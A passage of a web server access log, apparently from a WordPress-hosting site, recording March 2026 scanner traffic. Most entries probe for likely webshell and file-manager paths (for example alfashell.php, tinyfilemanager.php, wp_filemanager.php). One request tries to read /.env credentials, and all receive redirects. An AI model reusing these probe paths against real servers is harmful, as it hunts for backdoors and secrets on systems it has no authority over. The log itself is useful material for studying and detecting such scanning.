[05/Mar/2026:08:08:58 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:13:17 +0300] "GET /wp-admin/js/fi.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:13:21 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:13:22 +0300] "GET /kj.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:13:24 +0300] "GET //wp-content/uploads/2021/02/index.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:13:27 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:13:27 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:13:30 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:13:32 +0300] "GET /fi.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:13:35 +0300] "GET //a1.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:13:40 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:13:43 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:13:47 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:13:50 +0300] "GET /hi.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:14:27 +0300] "GET /bal.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:14:29 +0300] "GET /in.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:15:08 +0300] "GET /axx.php HTTP/1.1" 301 795 "-" "-" 83.217.5.100 - - [05/Mar/2026:07:22:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.11.11" 83.136.232.108 - - [05/Mar/2026:07:40:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 4.232.184.93 - - [05/Mar/2026:08:08:47 +0300] "GET //edit.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:09:09 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:09:55 +0300] "GET /sc.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:09:57 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:09:58 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:10:01 +0300] "GET //f6.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:10:26 +0300] "GET //1.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:11:13 +0300] "GET /classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:11:23 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:11:23 +0300] "GET /tinyfilemanager.php?p= HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:08:04 +0300] "GET //sys.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:09:16 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:10:13 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:10:17 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:10:20 +0300] "GET //aa.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:10:35 +0300] "GET //sc.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:10:37 +0300] "GET //av.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:11:47 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:11:50 +0300] "GET /x/ HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:11:53 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:11:55 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:11:57 +0300] "GET //wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:11:57 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:12:50 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:12:53 +0300] "GET //wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:12:53 +0300] "GET /BDKR28WP.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:12:55 +0300] "GET //wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:12:55 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:12:58 +0300] "GET //assets/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:13:02 +0300] "GET /w4.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:13:06 +0300] "GET //wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:13:09 +0300] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:13:11 +0300] "GET //about.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:14:36 +0300] "GET /gssdd.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:14:38 +0300] "GET /motu.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:14:42 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:14:45 +0300] "GET /bengi.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:14:47 +0300] "GET /miansha.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:14:51 +0300] "GET //erty.php HTTP/1.1" 301 795 "-" "-" 103.160.202.158 - - [05/Mar/2026:09:05:45 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 4.232.184.93 - - [05/Mar/2026:08:06:48 +0300] "GET /eee.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:06:50 +0300] "GET /lp6.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:06:53 +0300] "GET /akses.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:06:55 +0300] "GET /no1.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:06:58 +0300] "GET /teee.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:07:01 +0300] "GET /elabel.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:07:04 +0300] "GET /bafFz.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:07:06 +0300] "GET /rere.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:07:08 +0300] "GET /ok356.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:07:10 +0300] "GET /jocundly.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:07:12 +0300] "GET /wo.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:07:14 +0300] "GET /h2h.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:07:17 +0300] "GET /rithin.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:07:18 +0300] "GET /kk.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:07:21 +0300] "GET /path.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:07:24 +0300] "GET /cs.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:07:26 +0300] "GET /w2025.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:07:28 +0300] "GET /foxr.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:08:11 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:10:42 +0300] "GET /file.php? HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:10:45 +0300] "GET /file59.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:10:46 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:10:48 +0300] "GET /wp9.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:10:48 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:10:50 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:10:51 +0300] "GET /xqq.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:10:54 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:10:56 +0300] "GET /a.php?p= HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:12:02 +0300] "GET //wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:12:06 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:12:09 +0300] "GET //adminfuns.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:12:41 +0300] "GET /wp-michan.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:12:43 +0300] "GET //wp-content/cong.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:13:54 +0300] "GET //lala.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:11:35 +0300] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:11:38 +0300] "GET //wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:06:40 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:06:44 +0300] "GET /gfile.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:09:48 +0300] "GET /wp-content/plugins/index.php?p= HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:09:49 +0300] "GET //assets/css/index.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:11:01 +0300] "GET /06.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:11:04 +0300] "GET /plss3.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:11:07 +0300] "GET /aaa.php?p= HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:12:13 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:12:16 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:12:17 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:12:20 +0300] "GET /plugins.php?p= HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:12:23 +0300] "GET //cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:12:23 +0300] "GET //wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:12:23 +0300] "GET /ff1.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:12:25 +0300] "GET /fff.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:12:26 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:12:26 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:12:28 +0300] "GET /155.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:12:30 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:12:32 +0300] "GET /alpha.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:12:34 +0300] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:14:59 +0300] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:15:03 +0300] "GET /X57.php HTTP/1.1" 301 795 "-" "-" 120.237.27.40 - - [05/Mar/2026:08:15:17 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 4.232.184.93 - - [05/Mar/2026:08:08:19 +0300] "GET /wp9.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:08:24 +0300] "GET /path.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:08:24 +0300] "GET /wdf.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:08:26 +0300] "GET //2.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:08:30 +0300] "GET /mga.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:08:33 +0300] "GET /maxro.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:08:35 +0300] "GET /pass2.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:08:38 +0300] "GET /wsvvs.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:08:41 +0300] "GET //3.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:09:27 +0300] "GET //wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:09:27 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:09:33 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:09:36 +0300] "GET //wp-admin/images/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:10:05 +0300] "GET //inputs.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:11:29 +0300] "GET //x.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:11:43 +0300] "GET /wp-update.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:14:02 +0300] "GET /lb.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:07:34 +0300] "GET /swallowable.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:07:37 +0300] "GET /claw.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:07:40 +0300] "GET /fvvff.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:07:43 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:07:44 +0300] "GET /sty.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:07:47 +0300] "GET /xxxx.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:07:50 +0300] "GET //h.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:14:07 +0300] "GET //wp-includes/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:14:09 +0300] "GET /0.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:14:12 +0300] "GET /core.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:14:16 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:14:16 +0300] "GET /prv8.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:14:18 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:14:21 +0300] "GET /dev.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:15:14 +0300] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:15:17 +0300] "GET /re.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:15:19 +0300] "GET /styll.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:15:21 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:15:27 +0300] "GET /4h.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:15:30 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:15:34 +0300] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:15:36 +0300] "GET /database.php HTTP/1.1" 301 795 "-" "-" 173.252.82.113 - - [05/Mar/2026:09:20:19 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 103.180.236.112 - - [05/Mar/2026:11:12:21 +0300] "GET /.env HTTP/1.1" 301 795 "-" "-" 43.130.102.7 - - [05/Mar/2026:11:45:50 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.130.47.33 - - [05/Mar/2026:12:29:53 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 169.150.203.197 - - [05/Mar/2026:11:56:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 158.69.126.105 - - [05/Mar/2026:12:52:12 +0300] "GET /wp-content/plugins/hello-dolly/readme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0" 142.248.80.6 - - [05/Mar/2026:13:55:49 +0300] "GET /admin.php?520 HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 142.248.80.6 - - [05/Mar/2026:13:56:07 +0300] "GET /about.php?520 HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.228.157.37 - - [05/Mar/2026:13:24:58 +0300] "GET /jquery-file-upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 129.212.228.242 - - [05/Mar/2026:14:12:47 +0300] "GET /wp-content/plugins/profile-builder/readme.txt HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 94.26.106.114 - - [05/Mar/2026:14:30:28 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.bing.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" 80.94.92.20 - - [05/Mar/2026:15:04:47 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 176.126.164.213 - - [05/Mar/2026:15:38:22 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 134.122.71.153 - - [05/Mar/2026:16:06:57 +0300] "GET /wp-content/plugins/hello-dolly/readme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0" 89.185.27.11 - - [05/Mar/2026:16:22:26 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 100.30.5.6 - - [05/Mar/2026:15:50:17 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Gort)" 43.157.188.74 - - [05/Mar/2026:17:26:35 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.166.255.102 - - [05/Mar/2026:16:41:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 69.171.249.10 - - [05/Mar/2026:18:05:10 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 64.113.0.136 - - [05/Mar/2026:18:14:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" 182.42.105.144 - - [05/Mar/2026:20:06:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.63.83.113 - - [05/Mar/2026:21:05:46 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [05/Mar/2026:21:05:48 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 43.153.26.165 - - [05/Mar/2026:22:11:33 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.153.35.128 - - [05/Mar/2026:23:02:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.104.124.39 - - [05/Mar/2026:23:26:41 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 64.227.43.47 - - [05/Mar/2026:23:17:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 64.227.43.47 - - [05/Mar/2026:23:17:03 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 167.88.169.25 - - [05/Mar/2026:23:40:36 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 195.201.199.99 - - [06/Mar/2026:01:47:37 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 199.45.154.127 - - [06/Mar/2026:00:47:46 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 123.56.114.89 - - [06/Mar/2026:01:24:31 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 195.201.199.99 - - [06/Mar/2026:01:47:24 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 2.58.56.176 - - [06/Mar/2026:02:59:43 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2.58.56.176 - - [06/Mar/2026:02:59:43 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2.58.56.176 - - [06/Mar/2026:02:59:43 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2.58.56.176 - - [06/Mar/2026:02:59:43 +0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2.58.56.176 - - [06/Mar/2026:02:59:43 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2.58.56.176 - - [06/Mar/2026:02:59:43 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2.58.56.176 - - [06/Mar/2026:02:59:43 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2.58.56.176 - - [06/Mar/2026:02:59:43 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 